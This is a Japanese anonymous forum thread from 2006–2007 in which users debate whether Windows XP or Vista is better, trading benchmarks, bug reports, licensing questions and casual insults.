1 :
名無し~3.EXE :
2006/11/05(日) 15:09:16 ID:SFdgdu2U どっちがいいの?
2 :
名無し~3.EXE :2006/11/05(日) 15:11:54 ID:W57g3qra
2
3.1がいいよ
2000に決まってんだろハゲ
2k厨憤死wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
ntとlinux、2kとxpの宗教戦争の次はこれか。
ここであえてMEを推す
8 :
名無し~3.EXE :2006/11/05(日) 18:18:52 ID:KoAYzsuA
レタッチとかしてるならVistaじゃね?
く だ ら ね ぇ ぇ ぇ ぇ ぇ ぇ ぇ ぇ ぇ ぇ
10 :
名無し~3.EXE :2006/11/05(日) 19:24:36 ID:+XndegpI
び す た あ ぁ ぁ ぁ ぁ ぁ ぁ ぁ ぁ ぁ ぁ
/|:::::::::::::::::::::ヽ.:.:.:.:、:.:.:.:、:.:.:.、.:.、.:.:.:.:.:.::`゛> /{::|:\:::::::\.:.:.:\.:.:.ヽ::.::.ヽ:.:.ヽ::::::::::.:.`゛ー- ..,__ : 何 : /:|::',:ト、::::::ヽ、:.\:.:.:.\:.:.ヽ:.:.:\.:.:.:.:.:::.:.:.:.:::.::::_;:-'´ : : : : が : //:/:::|::',|::'、:::::::::\:.:\.:.:.ヽ:.:.:\:.:..\::::::::::::\、::::\ : : : : 何 : /!::|::l::::/|:::l:ヽ:\::ヽ:.:\:.:\.:::ヽ:.:.:ヽ:.:.:.:\::::::::::::\ ̄ : : : : だ : |/l::|::|::|:ト、:::::::::、、:ヽ、:.:.:.:::::::::::::::ヽ::::.:ヽ:.:.:.:.\:.:.:.ヽ:::\. : : : : か : |::|::/l::|::|r‐ヽ:::::ヽ(ヽー,―\::::::、::::::::::ヽ::.:.::::::.:::::::ヾ. ̄ : : : : : }//l::|:::|{(:::)ヾ、:::ヽ \!(:::) ヽ,:::ヽ:::::::::::::::::::::::::::::::::::ヾ、 : : : : わ :. |/l::|::|:::|ヽ==''" \:ヽ、ヽ=='" |:::::::::::::::::::::::::::::::::::ヽ、::::\ か / ',|::|:::| / `゛ |!::::::::::::::::::::::::::::ト、::ト、_` ゛` ら l::!::::ト、 '、 _ ||::::::::::::::::::::::::ト:ヽヾ| | ̄ ̄ ̄`ヽ、 な r'"´||',::::', |:::::/l:::::|\:::ト、ヾ | | / / \ い / ll ',::', 、 ーこニ=- /!::/ ヽ:::| ヾ、 ノ ノ / ,イ ヽ、 ,' | '、:, \ -- ,. '´ |;' l ヾ、. // / | l: l | |! ヽ; ヽ /.: i! / ゛// |l / | | |
2000以外いらね
XENIX以外いらね
14 :
ひみつの文字列さん :2024/07/07(日) 12:11:20 ID:MarkedRes
日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。
15 :
名無し~3.EXE :2006/11/06(月) 12:55:36 ID:BfTzvp1w
XP>>>>>>>>>>>>>>
>>2000 は公理
でもVistaは32bitじゃだめだから
XPとは共存しそう
馬鹿が現れたところで、 死死死死死▼死死死死死死死死▼▼▼鬱死死死死死死死死 死死死死死■■▼鬱死死死死死▼■▼鬱死死死死死死死死 死死死死▼■■鬱死死死死死死■■▼鬱死死死死死死死死 死死死▼■■▼鬱死死死死死▼■■▼▼▼▼■■▼鬱鬱死 死死死■■■鬱鬱▼▼死死死▼■■■■■■■■■▼鬱死 死▼▼■■▼鬱▼■■▼鬱▼■■▼▼▼▼▼■■■鬱鬱死 ▼■■■■▼▼■■▼鬱鬱▼■■■鬱鬱鬱▼■■▼鬱死死 ▼■■■■▼▼■▼鬱鬱▼■■▼■▼死▼■■■鬱鬱死死 死▼■■■■■■▼鬱▼■■▼▼■■▼■■■▼鬱死死死 死死▼■■■■▼▼鬱▼■▼鬱鬱▼■■■■▼鬱鬱死死死 死死死▼■■▼▼■▼鬱▼鬱死死鬱▼■■■鬱鬱死死死死 死死死▼■■鬱鬱■■▼鬱死死死死▼■■▼▼鬱死死死死 ▼▼▼■■■▼■■■■▼死死▼▼■■■■■▼鬱鬱鬱死 ■■■■■■■■▼■■▼▼■■■■▼■■■■■■▼▼ ■■▼▼▼■■鬱鬱▼▼■■■■▼▼鬱鬱▼■■■■■▼ ▼▼▼鬱鬱■■鬱▼▼▼■■■▼▼■▼▼▼▼■■■■▼ 鬱■■■▼■■▼■■▼■■▼鬱▼■■■■▼▼▼▼▼鬱 死■■■▼■■▼■■▼▼▼鬱鬱▼■■■■■■▼鬱鬱鬱 死■■■▼■■鬱▼■■鬱鬱鬱死鬱▼▼■■■■▼鬱死死 ▼■■■鬱■■鬱▼■■▼鬱死▼鬱鬱鬱▼■■▼鬱鬱死死 ▼■■■鬱■■鬱死■■▼鬱▼■■▼▼▼鬱鬱鬱鬱死死死 ▼■■▼鬱■■鬱死■■▼鬱▼■■■■■▼▼鬱鬱鬱鬱死 ▼■■▼鬱■■鬱死▼▼鬱鬱▼■■■■■■■■▼▼鬱死 ▼■■▼鬱■■鬱死鬱鬱鬱鬱鬱▼▼■■■■■■■▼鬱死 死鬱鬱鬱鬱■■鬱死死死死死鬱鬱鬱鬱▼■■■■■▼鬱死 死死死死死■■鬱死死死死死死死死鬱鬱鬱▼▼▼▼鬱鬱死
17 :
名無し~3.EXE :2006/12/02(土) 04:20:35 ID:SKfoEaa7
2DのベンチマークをExcelのマクロでやるってのが良く分らない。 画面の描画以外の部分に大きく左右されるだろ。 現に左右されてるし。
ネットや書籍からかき集めた数十件の情報:「Vistaは重い!」 (Pen4 2.8GHz L2キャッシュ1MB メモリ512MB このスペックでも遅さが目立つようです)
20 :
名無し~3.EXE :2006/12/19(火) 20:38:09 ID:ge/ue4k3
やっぱりダビスタが最強!
>>19 俺としては、XPでもそんなメモリの少ないPCは使いたく無い。
だってそんなの使ったら、たったの10分で(仮想まで使い切って)落ちちゃうよ。
仮想メモリ = HDD だぞ? 馬鹿かこいつw マカかこいつw
>>22 1.25GB(RAM)+2.5GB(仮想)の構成で、最短22分でOSを落としましたが何か?
そのときは、RAM+仮想の空きがわずか756KBだったのを覚えているよ。
今は、反省して2GB(RAM)+4GB(仮想)の構成で製作してるよ。
>>23 頭わるそうだな。OSのせいじゃないだろ。
>>24 最初からOSのせいだとはいっていないぞ。
ただし、VistaがXPと比べて+200MB程度重くなってたら、
vista機で作業中に落ちても、OSのせいではないとは言い切れないだろうが。
XPとVistaを比べてユーザーが一番問題にするのは同じ作業をしたときの快適さだろう。 もちろんOSそのものの機能も大切だろうが、基本的にPCは作業をするものだろう。
現状的には、 ハイエンド3Dゲーム →VistaへGO!! ツクールなどの2Dゲーム →XPのままの方が幸せ。 オフィス系ソフトメイン →XPのままの方が幸せ。 ビデオ/サウンドメイン →XPのままで待った方がいい。 Vistaを買った初心者 →XPへダウン?グレード推奨。 2KorME→XPへUPした人 →Vistaにするメリットが無い。 物好きな中級者&初心者 →Vistaへ特攻。 今のところVISTA vs XPでは、XPの方がメリットは多い。
28 :
名無し~3.EXE :2007/01/05(金) 14:35:57 ID:J50MfyB5
やっぱサポートすぐ切れてもいいからXPにしようかなぁ
29 :
名無し~3.EXE :2007/01/05(金) 16:44:50 ID:JPFt27dp
びすた〜〜〜 (*`θ´*)
30 :
名無し~3.EXE :2007/01/05(金) 17:01:28 ID:mJIz54RE
2000 vs 98SEの構図に似てるな そこへMeが加わると更にややこしくなるわけだが
31 :
名無し~3.EXE :2007/01/05(金) 18:45:53 ID:nU4LgF10
知れば知るほどvistaにする気がなくなるな 98SEなんだけどさ
システムファイルへのアクセスが制限できないなんか恐ろしくて使えない
システムファイルへのアクセスが制限できないOSなんか恐ろしくて使えない 何かあったらリカバリすれば良いというポリシーならそれで良いんだろうが
何がだね?
自覚症状すらないのかw
37 :
名無し~3.EXE :2007/01/05(金) 21:16:22 ID:BQIGF12+
.
リカバリとか別HDで立ち上げるっていう発想は マカーのほうが多いんじゃない。 2kもXPも、凝ったことしなけりゃ5年でもそのまま動く
>>30 XPと2Kだろ。最初は見た目だけで重いだの新機能はフリーソフトで賄えるだのといわれたけど、
結局時がたてば後続が普通に勝つ。
40 :
名無し~3.EXE :2007/01/07(日) 20:41:51 ID:/ST0qFUK
XP自体が失敗作だからな…
失敗でも、あんなにすごいのかよw
X(ペケ)P(rogram)…VのRTMとやらが4.33GBもあるなんて ついさっきまで知らなくて今凄く暇なんだ(*´・ω・)ゴメンヨ
OSX(ペケ)がどうかしたのですか?
44 :
名無し~3.EXE :2007/01/07(日) 23:43:42 ID:BWFmeaN+
VISTAのSP2が出てくる時期に購入するのがBEST それまではXPで不満なし
どうでも良いけどビスタって売れてンのカ? 窓95は特別だ、特別。あの時代だし、マウスでやりてぇ世代。 兎に角95よりは上(無知w)、ミレニアムって名前が凄い!!(←哀れ・・・・ 2000は安定してるって(←正解、一人一台だし、XPってカラフル!!(?? ・・・・・・・だったが、VISTAってマジで別にいる要素もネェような・・・・・・
みんなXPでもOSXでも大差ないって知っているさ。
XPを超絶軽くチューン VS Vistaを(略 どっちが軽い? なんかvistaの方が軽そうなんだが
ごめん、オイラはサブマシンのWindows98SEがまだ手放せないんだ。 メインマシンは2kで快適、XPは滅多に起動してないな。
質問だが、MSはXPをいつまでサポートするつもりなんだろ。 これだけ普及してるんだから、早々に切るとは思えない、思いたくないが。
>50 うげっ、FAQでしたか、スマソ。 まあVistaの普及度しだいかもしれんけどね。普通のユーザーがそんなに早く 切り替えるとは思えないけどなあ。本体買い替えなきゃいけない人も多いだろうし。
52 :
名無し~3.EXE :2007/01/12(金) 11:08:55 ID:wsngv/NM
おらは98seをあと一年頑張ってみることにしたぽ 一番重い処理がほとんどない動画再生だし さすがにdivXとrealは動かなくなってきたけどにゃ
53 :
名無し~3.EXE :2007/01/12(金) 21:08:52 ID:XSrHlqOP
>>27 ハイエンド3Dゲーム(主にFPS系のゲーム)も、
ほとんどXP対応だし、ベンチもVistaの方が重いらしいから、
そこでもXPの勝ちじゃないかな?今のところだけど。
54 :
名無し~3.EXE :2007/01/14(日) 04:25:35 ID:OowVshLt
ハードを要求するソフトなんていらん。 遊びで買うなら、DSP版の一番安い奴。
55 :
名無し~3.EXE :2007/01/14(日) 05:01:05 ID:Uadk38+Q
56 :
名無し~3.EXE :2007/01/14(日) 05:06:24 ID:nd+uu2zg
法人版のVista Enterprise入れてみたけど、まだ何もインストールしてない状態で、何も起動してない状態で既にメモリが660MB使ってます。かなりXPより重いです。
57 :
名無し~3.EXE :2007/01/14(日) 05:07:40 ID:Uadk38+Q
うは・・・・
▅▅▅▅▅▅▅▅▅▅▅ ▄▇▓::▃▃ ▃▃ ▓▇▄ ▄█▓░◤ ◥ ◤ ◥ ░▓▇▄ ▄█▓░ ◢ ◣ ◢ ◣░▓▇▄ ▄█▓░ ▐ █▋▐ ▐ █▋ ▐ ░▓▇▄ ▄█▓░: ◥ ◤ ◥ ◤ ░▓▇▄ █▓░▒ ◤▀▀◥ ▃ ▃ ◤▀▀◥▒:░▓█ █▓░ ::::▒░░::▊ ▲ ▐ :::░░▒::::░▓█ █▓░:: ◥▃▃▅██▅▃▃◤ ░▓█ ▀█▓░ ███████ ░▓█▀ ▀█▓░ ▐▓▓▓▓▓▓▌ ░▓█▀ ▀█▓░ ▀▀▀▀▀▀ ░▓█▀
XPとかVistaとか騒いでる連中は趣味として使ってるだけでしょ。 C++とかの総合開発環境には向いてないんだよどっちも。
プログラマー以外の人は全員趣味なの?
>>60 エセプログラマー、もしくは低脳プログラマーか?
総合開発環境としても、まだXPの方が上だね。
一般的によく使われているVisualStudioもXP上の方がPG達も安心だろう。
23bit版のVISTAとXP、同じPCでベンチ取ってみた。 北森 P4 3.2G Mem DDR3200 2G(512×4) VGA Radeon 9700Pro 128MB VISTA XP π 104万行 47秒 44秒 FF Bench Low 3057 7073 High 3573 4748 CrystalMark2004R2 Mark 49418 49171 ALU 8363 8677 FPU 8762 8602 MEM 8641 11850 GDI 3737 9217 D2D 7902 4750 OGL 2340 24962
64 :
名無し~3.EXE :2007/02/02(金) 16:15:21 ID:/pOz0sTw
VISTAのパッケージ買ったら、XPや2Kを使うのにライセンス的に問題なし? msで見つけれんかったのでよろ。
>>64 うpぐれーど版を導入したら対象となった以前のOSは使えないだろ
但しVistaやXpをインスコしたPC上のVPCで使う場合なら無料のXpイメージが
提供されているぞ。 これは英語版だけど日本語も使えないこともない
66 :
名無し~3.EXE :2007/02/02(金) 19:02:24 ID:/pOz0sTw
>但しVistaやXpをインスコしたPC上のVPCで使う場合なら無料のXpイメージが 提供されているぞ。 初耳、サンキュー うぷ版じゃないやつだったらXPや2K入れて使える? vista重そうだから新pcになるまでダウングレードして使おうかと思ってさw
>>66 喪前・・・・・・・・VPCでの使用限定ライセンスだから裸じゃむりぽ
vpcで動かすxpの重さはvistaの比じゃないぞ
68 :
名無し~3.EXE :2007/02/02(金) 21:01:44 ID:uX1qgnsy
まあいずれはVista PCを買うことになるかも知れんが、 少なくともあと3年はXpで十分。
69 :
名無し~3.EXE :2007/02/02(金) 21:05:38 ID:/pOz0sTw
vpcはVista pc でおk?うとくてすまん vista pc で動かすxpの重さはvistaの比じゃないってのがよくわかりません。
70 :
名無し~3.EXE :2007/02/02(金) 21:28:40 ID:3EjVGWps BE:3548063-2BP(189)
チェイサー使えばいいじゃん。
71 :
名無し~3.EXE :2007/02/02(金) 22:10:15 ID:/pOz0sTw
チェイサーって調べたけどわかりませんでした。
MarkUの姉妹?
>>68 vpcはxp版はfreeでMSサイトからDLできるしVistaには付いてくるんじゃなかったっけ?
>>73 でもXPは別売り。
たぶん無料のlinuxを仮想で使う人はいても買ってまでXPを使う人はいない。
>>74 どぅーわーかーらー MSがVPCで使用できる無料のXpイメージを提供してるんだってば
>>73 なんで
>>68 にレスしてるのかなぁと思ったら
「Vista PC」→「Virtual PC」・・・確かに一瞬間違えるたけどもw
ちなみにVPC2007が無料提供なのでVistaにも同梱していないらしい
77 :
名無し~3.EXE :2007/02/20(火) 13:23:46 ID:udNpwTzO
去年XPにしたので当分はそれでいく。
78 :
名無し~3.EXE :2007/02/20(火) 15:02:47 ID:8Hy8VXha
別に両方もってるから、どっちでええ。 ちなみにXPはプロでビスコはアルティメット
79 :
名無し~3.EXE :2007/02/20(火) 15:05:13 ID:8Hy8VXha
95のPCはさすがにすてたけど、98、Me、2000はまだもってる。 全部ノート。95のはデスクトップだからすてた。95をはじめて買った店の向かいで働いてるんだから、不思議なもんだ。
83 :
名無し~3.EXE :2007/02/26(月) 16:01:33 ID:CgpP5DVV
Meも参戦したいんだけど…
85 :
名無し~3.EXE :2007/03/04(日) 12:37:47 ID:12C+hDQ4
こんな感じで良い? XP Visuta 256MB > 512MB 512MB > 1GB 1GB = 1.5GB 2GB < 2GB
XP Visuta 256MB > 512MB 512MB = 1GB 1GB < 1.5GB 2GB < 2GB
じゃ、1GのメモリとVista買ってくる × Visuta ○ Vista
88 :
名無し~3.EXE :2007/03/04(日) 13:21:09 ID:3Miv9fQ8
いろいろ読んだんですけど VistaよりXPの方がいいって意見が多いけど、新規の初心者はVistaのがいいって書き込みもあるし、迷ってます。どっちがいいと思いますか?
迷ったらVista
自分が使いたいなぁと思うほうで。まー"現時点"ではXPの方が問題無く使えるだろうけどね。
91 :
名無し~3.EXE :2007/03/04(日) 13:51:23 ID:3Miv9fQ8
これから4年使うからなぁ… 現時点ではってとこ考えるとVistaのがいいかな
かわいそうに・・・
94 :
名無し~3.EXE :2007/03/04(日) 15:23:40 ID:/B4/6dMT
Windowsはサービスパックが出て、ようやく安定するもの。 今Vistaを買う香具師は不具合にめげず、ガンガレ(w
でも、今の所、Vistaに大きな不具合は無いな。
96 :
名無し~3.EXE :2007/03/04(日) 15:52:49 ID:+2Thtv3i
不具合だらけなのに 何を言ってるんでしょうかね?w
大きな不具合の一つもあげられずに 説得力も無い。
98 :
名無し~3.EXE :2007/03/04(日) 15:58:15 ID:+2Thtv3i
光学ドライブの件 ファイル消失の件 これ大きくないかね?無知君?
無知はあなたですね。 それが大きな問題になっているのなら、 いくつも再現例がでるはずです。 情報源が一つしかない時点で 捏造だと疑うべきです。
ちなみに、数々のマイナーな条件が整わないと 再現できないものは、実害が無いため 小さな問題です。
95 名前:名無し~3.EXE[sage] 投稿日:2007/03/04(日) 15:49:19 ID:Zt1N0ohs でも、今の所、Vistaに大きな不具合は無いな。 97 名前:名無し~3.EXE[sage] 投稿日:2007/03/04(日) 15:55:58 ID:Zt1N0ohs 大きな不具合の一つもあげられずに 説得力も無い。 99 名前:名無し~3.EXE[sage] 投稿日:2007/03/04(日) 16:00:06 ID:Zt1N0ohs 無知はあなたですね。 それが大きな問題になっているのなら、 いくつも再現例がでるはずです。 情報源が一つしかない時点で 捏造だと疑うべきです。 100 名前:名無し~3.EXE[sage] 投稿日:2007/03/04(日) 16:01:33 ID:Zt1N0ohs ちなみに、数々のマイナーな条件が整わないと 再現できないものは、実害が無いため 小さな問題です。 かわいそうに・・・
反論できずに、コピペしかできない。 これがどういうことか、まともな人には分りますよね。
質問スレや不具合スレ見れば不具合報告貼る必要なんかないからな リソースの無駄だろ
↑こういうのを「反論が出来ない」といいます。
Vistaの方がいいとか言ってる奴は 糞ゲー買っちまって「俺は楽しめてるよ」と言ってる奴と同じくらい滑稽。 いやそれよりも惨め。 なぜなら誰の目から見ても糞なのは明白だからです。
106 :
名無し~3.EXE :2007/03/04(日) 16:28:05 ID:UT1MNJaT
wwwwwwwwww
Macはクソゲーだったのか? 知っていたけどwwww
>>98 ファイル消失の件は本当にVista側の問題なんすか?
109 :
名無し~3.EXE :2007/03/04(日) 19:22:28 ID:HVqVKJPz
Windows Vistaで作ったAVIは壊れている VirtualDub作者が確認
Vista用のAVIFile関数のライブラリに不具合があり、
これを使った場合????AVIを書き出す多くのアプリがこれを使うのだが????ファイルのヘッダがかなりおかしくなり(注)、
Vista以外で再生できなくなることもある。VirtualDub (VD) の作者 Avery Lee がブログで明らかにした。
→ AVIFile library in Windows Vista creates invalid AVI files
http://www.virtualdub.org/blog/pivot/entry.php?id=145 VirtualDubは、APIを使わず自力でヘッダを書くので、Vista上でVDで書き出したAVIファイルは正常だが、
Vista上の他の一般のアプリで作ったAVIの読み込みに問題がある。
「Vistaで作ったAVIをXP上の古いWMPで再生したら、クラッシュした」とも報告している。
簡単に直せる問題ではないが、VD側では将来のバージョンで壊れたVista製AVIを正しく読み込めるように対応するようだ。
「Microsoftに苦情を言う以外、根本的な解決はない」とのこと。
サービスパックなどでライブラリが修正されるまで、
Vistaユーザーは、Vista上で動画作成(AVI作成、他形式のための中間形式としてのAVIも含む)を行うべきではないようだ。
(注)AVIファイルのRIFFヘッダは厳密に言うと、正しくないことが多い。
例えばVDMで書き出すと常にサイズがおかしくなっている。
しかしそれらは現実的にはまったく影響のない問題。
「かなりおかしくなる」というのは、そういう些末なレベルでなく、再生できなくなるほど壊れている、という意味。
挙げればきりないVISTAの不具合
不具合ないなんてどの口が言わせてんだ?w
伏せ字ばっかりで分からん
以下は解決したのだろうか? 1.突然のファイル消滅 2.XP以前のPCで作成した漢字の継承問題、および当用漢字以外の常用日本語の正しい変換 3.ビスタで作成した動画をXPで再生するとクラッシュする。 および、初心者向け補足事項。 0.画面の文字がバランス的に気持ち悪くなるとの意見が少なからずあります。 まあ、ビスタは日本語向けに開発されてないので仕方がありませんが許容できるかどうか充分な確認が必要です。 1.セキュリティーはこれまでのMS製品同様に、ビスタ単体では使い物にならないので、 ノートンとかバスターとかのインターネットファイアーウォールソフトやウイルス監視ソフトが必須。 2.3Dとか透明とかの効果は、XP+フリーソフト(ゼロ円)で簡単に実現できる。 3.ビスタはサスペンド状態からの復帰は早いが、サスペンド状態になるまでに時間がかかる。 XPはサスペンド状態になるまでは早いが、サスペンドからの復帰がやや遅い。 サスペンドからの復帰を起動が早いと勘違いしないように。 4.ビスタはアップグレード版を買うとクリーンインストールができない。 XPはアップグレード版でも簡単にクリーンインストールができる。 5.ビスタの場合、普通に使用するならば2GB程度のメモリは搭載が必要。 4GB以上を推奨。 XPは、普通に使用するならば512MB程度の搭載が必要。 1GBを推奨。 6.省エネを気にする人はビスタは結果としての効果はゼロですから却下しなさい。 省エネ志向ならばXPが最適です。 7.XPまでのソフトで使えないものがかなりありますから、友人から譲ってもらったのが使えない可能性が少なからずあります。 および、譲ってもらった周辺機器もドライバの問題で使えない可能性が大です。 8.ビスタもいずれは安心して使えるようにはなるでしょう。 しかし、快適に使用するにはハードにお金を掛けなくてはなりません。 XPならば格安のPCでも充分動作しますが、ビスタにするならそれなりのお金を自己責任で掛けましょう。 9.家族でネットと年賀状作りまでという使い方ならば安PC(但し、モニタは良いものを選択)とXPで十二分に使えます。 終わり。
113 :
名無し~3.EXE :2007/03/06(火) 12:17:41 ID:mxwZoHtA
182 名前:名無し~3.EXE[sage] 投稿日:2007/03/05(月) 10:32:35 ID:PHculnca
普段ファイラー(MDIE)を使ってますがなぜか、ファイラーから全て見えているのに
移動でもコピーでもメモ帳でもファイルが見つかりませんとエラーが出るファイルが存在します。
確認するためにvistaのコンピュータ(エクスプローラ)から開くと、半分ぐらいのファイルしか見えてません。
全てのファイルを表示にする設定にしてますし、どのようにすれば正常に認識するように出来ますか?
ファイル(フォルダ)はC:\Windows.old\Program Filesに有った物をファイラーでC:\Windows\Program Filesにコピーした物です。
183 名前:名無し~3.EXE[sage] 投稿日:2007/03/05(月) 11:14:38 ID:MYqbk81i
システムファイルを表示するってオプションなかったっけ
タブンそれのこと
185 名前:名無し~3.EXE[sage] 投稿日:2007/03/05(月) 12:06:46 ID:PHculnca
>>183 それでも駄目でした。
その後調べ続けてたところVistaの新機能である「互換性ファイル」や
「フォルダの仮想化」なんかが関係してるらしく、通常のProgram Filesにコピーしても
実行ファイルやdll等は実際にその場所に入るが、それ以外のデータや設定ファイルの実体は
「C:\Users\ユーザー名\AppData\Local\VirtualStore\Program Files\〜」に入るらしい。
実行ファイルやDLLとini等設定ファイルが強制的に別の場所に持っていかれる事によって
XP時代のソフトの中には設定ファイルが読めなくて実行出来なかったり設定変更出来なかったりする事に・・・・
>実行ファイルやDLLとini等設定ファイルが強制的に別の場所に持っていかれる事によって
>実行ファイルやDLLとini等設定ファイルが強制的に別の場所に持っていかれる事によって
>実行ファイルやDLLとini等設定ファイルが強制的に別の場所に持っていかれる事によって
怖すぎwww
会社からultimate貰ったんだけど怖くて入れれないよw
>>113 それってUACの機能じゃない?Adminじゃないと動かないようなソフトのための対策
116 :
名無し~3.EXE :2007/03/06(火) 12:58:41 ID:hYYokvub
XPのサポートが何故延長されたのか。 そこを良く考えればわかるだろ?w
ファイラーからは普通に見えるってのが混乱の元だな。 各職場で一人は大騒ぎしそうだw
どうせいつかはVistaが主流になるんだから いまさらXPマンセーとか言って粘ってても暖簾に梅干。 いつの段階でVistaに移行するかはもちろん個人の自由だが Vistaを攻撃するのはやめといたほうがいいと思う。後になって恥かくのは明らか。
119 :
名無し~3.EXE :2007/03/06(火) 13:18:19 ID:hYYokvub
>>118 2014年4月8日まではXPHome系がサポートされるんだから。
その頃Vistaがどうなってるのか、いやMSがどうなってるのかすら判らんし
栄光盛衰、今の時点じゃ中古マシン買って凌げば充分だよ
120 :
名無し~3.EXE :2007/03/06(火) 13:22:37 ID:wU3ZMUAu
↑業者
つか何でこれ系のスレの連中ってみんな必死なの?
>>118 当然、そう思う。 いつかは移行するときもくるだろう。
でもね
みんな「今の時点」の話をしている人が多いと思うんだ。
現状だと、どうしても「まだ作りかけ」で、熟成不足
長いことかけて不具合取り除いてきたXPに、劣っているといわれても
仕方ないと思うよ。
必要以上に叩いたり、「絶対移行しない」とか無理なことを言うのは
どうかと思うけど、ある程度の叩かれ加減は、しょうがないと思う。
だって、リリースまでもさんざん延期を繰り返して、やっとできました〜
って手元に届いたものが、欠陥品だった・・・こりゃやるせないわな
XPのサポート延長も、そこら辺に真意がありそうだ・・・
自信を持って買い替えを促進しきれないんでしょ
>>118 Vistaは短命らしいけど
XPと同じくらい長く使われれば、そりゃ以降するだろうが・・・
MS「Vista以降はリリーススケジュールをちゃんと守ります」 アフォ「Vistaは短命 m9(^Д^)プギャー!!」
XPが長く使われることはないだろう。 長く使われるのは2Kと98。 XP使うような連中の99%は、そのうちすぐVistaに移行するような連中だ。 XPを使いつづけるのは、一部のエロゲオタだけ。
>>126 2000またはXPは結論として無問題。
XPはゲームもできるし、電源管理が出来るというだけ。
現状ハードにおいては、2000またはXPで完結している。
ビスタなる不出来な代物を出しても現状のあり方を突破することなどできん。
ハードが大幅に進歩し、様変わりするまでは2000とXPの牙城が揺るぐことなどはないだろう。
ビスタが仕事にはとても使えない代物であるからこそXPのサポートが大幅に伸びたことでもわかる。
ビスタは、取り敢えずやけくそで出してみたというだけのお粗末極まりない代物である。
計画していたことの大半が現状ハードでは実現困難であることが判明したので、
中身はゼロにして外箱だけを使って安易適当に客を釣れそうなものを入れてみたというだけのもの。
SP1でどれだけマシになるか知れないが、おそらくは対して代わらないだろう。
根幹部の設計に欠陥(というか中身がない)があるといくら小手先で表面塗りたくってもどうにもならんわけだ。
今年の年末頃にはXPが再復活して、量販店でもどちらかを自由に選べるようになるはずだ。
おそらくXPが再復活する場合はダイレクトX10を添付するはずだ。
あまりに皆さんの要望が多いので復活しますたとかの調子のいい文言で取り繕ってビスタの醜態に収拾をつけるものと思われる。
128 :
名無し~3.EXE :2007/03/06(火) 18:03:12 ID:PlBDnVBN
XPが重いとかVistaが重いって書き込みあるけど、 インストールした時のパソコンの総重量が変わるの?
重い=動作が遅い、レスポンスが悪い
データを大量に移動させるときは余計運動エネルギーが必要になる
131 :
名無し~3.EXE :2007/03/06(火) 18:42:26 ID:hYYokvub
結局知らない連中釣るにはVistaをネタに商売出来る でも… MS商法を知ってる(嫌ってほど経験してきた)のはXPを選択するだろう 所詮機械ってのは最新のものは高いし、普及し出せば安くなる 新型自慢したいならともかく、現状見たらXPで事足りるってことだ まぁ数年もしたらハードもサードベンダも追いついて、OSのバグも改善されてくるだろうから その辺りで買えばいい
>>131 そういう事。
でも今回の場合、2〜3年も待ってるとVistaの次が出てきて
結局Vistaはスルーになってしまいそうだけどね。
133 :
名無し~3.EXE :2007/03/06(火) 20:39:57 ID:/BQ9DO/1
134 :
名無し~3.EXE :2007/03/06(火) 20:51:21 ID:hYYokvub
135 :
名無し~3.EXE :2007/03/06(火) 21:14:16 ID:LKy7UONm
3年周期で新OS出されたら、元来新しい物好きな俺の性格からして3年ごとに 買うか買わないかで悩まされるのが見えてるだけに怖い。
>>135 OSXの初期なんて一年ごとに新OSというか、新β出てたぞw
しかも今まで売ってたバージョン強制切り捨てで。
それにくらべりゃvistaはだいぶマシ。
137 :
名無し~3.EXE :2007/03/06(火) 23:28:07 ID:XTmr9M4X
>>11 何が何だかわからないけれど、凄くツボに入った。笑いすぎで腹が痛いです・・・
MacOSの切り捨てはちょっとひどいね OS9からiPodを全く認識できないとか、もうね… しかしWinでは後方互換性が元でいろいろな問題を生んできたことも確かだし一長一短だな
一般人はOS自体に興味ないし、XPのPCが普通に使えるから 様子見ムードだし、壊れる前に次のOSになってそう Me地雷と違う意味で、普及しないだろ >Vista
>>139 そりゃ、ちと違うな
興味がないとかっていうんじゃなく「あまりよくわからない」
パソコンというものを買ったらXPがインストールされてましたってくらいの認識
なので、今パソコンを買いたいとなったら、勝手にVistaがついてくる
しかし、既購入者ほとんどの人が現状で満足できちゃってると思うし
新規購入者や、やむをえない理由で買い替えする人以外
積極的に乗り換える意味がない・・・とも言える。
いづれにしても、VistaがXPをはるかに超えたOSとはいえず
Vistaでなければ、どうにもならない魅力的なコンテンツ(ハードもソフトも)
があれば、それを売り文句に買い替え促進できるだろうけど、それもない
今の段階では、売りづらいものだと思うけどね 普及しない(しにくい)ってのは同意
そもそもいわゆる一般な人はOSを入れ替えたりしないよね プリインストールを使うだけ
142 :
名無し~3.EXE :2007/03/07(水) 18:39:35 ID:HhZYi3eX
PS3と同じ流れだなw
>143 どっちもソフトが充実しないと買う意味は薄い
145 :
名無し~3.EXE :2007/03/07(水) 19:48:18 ID:41+Obesn
猿がうんちとうんこを比べるスレ
146 :
名無し~3.EXE :2007/03/08(木) 17:47:40 ID:mBu6+tlg
>>1 比較すんのはXP SP3を待ってからにしる
147 :
名無し~3.EXE :2007/03/08(木) 22:19:15 ID:3yWBjezK
Me >> XP >> Vista
149 :
名無し~3.EXE :2007/03/08(木) 23:17:31 ID:MGJghPcH
151 :
名無し~3.EXE :2007/03/10(土) 17:33:43 ID:taaK3iGV
152 :
名無し~3.EXE :2007/03/10(土) 22:21:58 ID:uzRx5RC0
>>150 最初にGPUでウィンドウグニャグニャのデモやったのはMS。
でも使い勝手悪かったから今の形になった。
berylのエフェクトで使い勝手が良くなるとはどう考えても思えない。
今日もサイドバー読み込んでるときブルースクリーン出ました
でもサイドバー読み込みが原因じゃないだろうな。 もしそうならもっと沢山発生している。 サイドバー読み込みと同時に発生した ドライバのバグが原因だろう。
ドライバなんてVistaに標準で付いてるのしか入ってないって 標準で付けてるドライバがバグってるのがVistaクォリティですか
>>154 だとしたらvistaのバグでもある
ドライバが不正でも落ちないようにカーネルレベルからユーザーレベルに落とした筈だからな
すべてのドライバがユーザーレベルに落とされたわけじゃねーよ。
>>157 一部だけユーザーレベルにしてもなんの意味もないじゃん
パフォーマンス犠牲にしてまで得ようとしてるのは何?www
> 一部だけユーザーレベルにしてもなんの意味もないじゃん 全部ユーザーレベルにするのは不可能なんだよ。アホ。
それに、カーネルレベルドライバをサードパーティメーカーが作れないと逆に苦情がでるだろ。 そんなこともわからんのかねぇ。
>>150 後半の質問に答えてよ
何を得るためのもの?
162 :
161 :2007/03/11(日) 01:25:51 ID:rlulp/wI
ドライバでパフォーマンス犠牲にしているのは ごく一部だから答えた所で限定的なことでしかない。
えーと、日本語のわかる方お願いします
